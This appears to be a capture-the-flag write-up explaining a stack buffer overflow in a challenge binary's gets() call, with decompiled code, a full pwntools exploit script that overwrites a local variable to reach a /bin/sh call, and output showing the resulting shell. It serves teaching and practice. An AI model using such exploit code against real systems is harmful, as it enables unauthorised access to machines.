pwn

ret2win Buffer Overflow gets

July 20, 20252 minutes

A binary is provided for this challenge

undefined8 main(void)

{
  char local_38 [40];
  long local_10;
  
  local_10 = 0x4141414141414141;
  printf("Comment est votre blanquette ?\n>>> ");
  fflush(stdout);
  gets(local_38);
  if (local_10 != 0x4141414141414141) {
    if (local_10 == 0x1122334455667788) {
      vuln();
    }
    puts("Almost there!");
  }
  return 0;
}

In the main function of that binary, the user is asked for input with the gets function. This makes it vulnerable to a buffer overflow, since gets does not validate the length of the user input, so if it is larger than the buffer defined for that input, it overflows the buffer and ends up overwriting other parts of the stack.

The input is stored in local_38, and 0x4141414141414141 is stored in local_10.

Then there is an if that checks whether local_10 is different from the value it was assigned earlier; if it is, it checks whether local_10 is equal to 0x1122334455667788, and if that is also true, the vuln function is called

void vuln(void)

{
  system("/bin/sh");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

The vuln function runs /bin/sh, giving us a shell.

The goal is to overflow local_38 and overwrite local_10 with 0x1122334455667788. Since local_38 has a 40-byte buffer, we need to send 40 bytes of junk and then add the content local_10 should have

#!/usr/bin/env python3

from pwn import *

exe = ELF("./bofbof_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("localhost", 4000)

    return r


def main():
    r = conn()

    # good luck pwning :)
    payload = b'A' * 40
    payload += p64(0x1122334455667788)
    r.sendlineafter(b'>>', payload)
    r.interactive()


if __name__ == "__main__":
    main()

[d3bo@archlinux 2021]$ python3 solve.py
[*] '/home/d3bo/Desktop/ctf/fcsc/2021/bofbof_patched'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
[+] Opening connection to localhost on port 4000: Done
[*] Switching to interactive mode
> $ ls
bofbof
flag.txt
$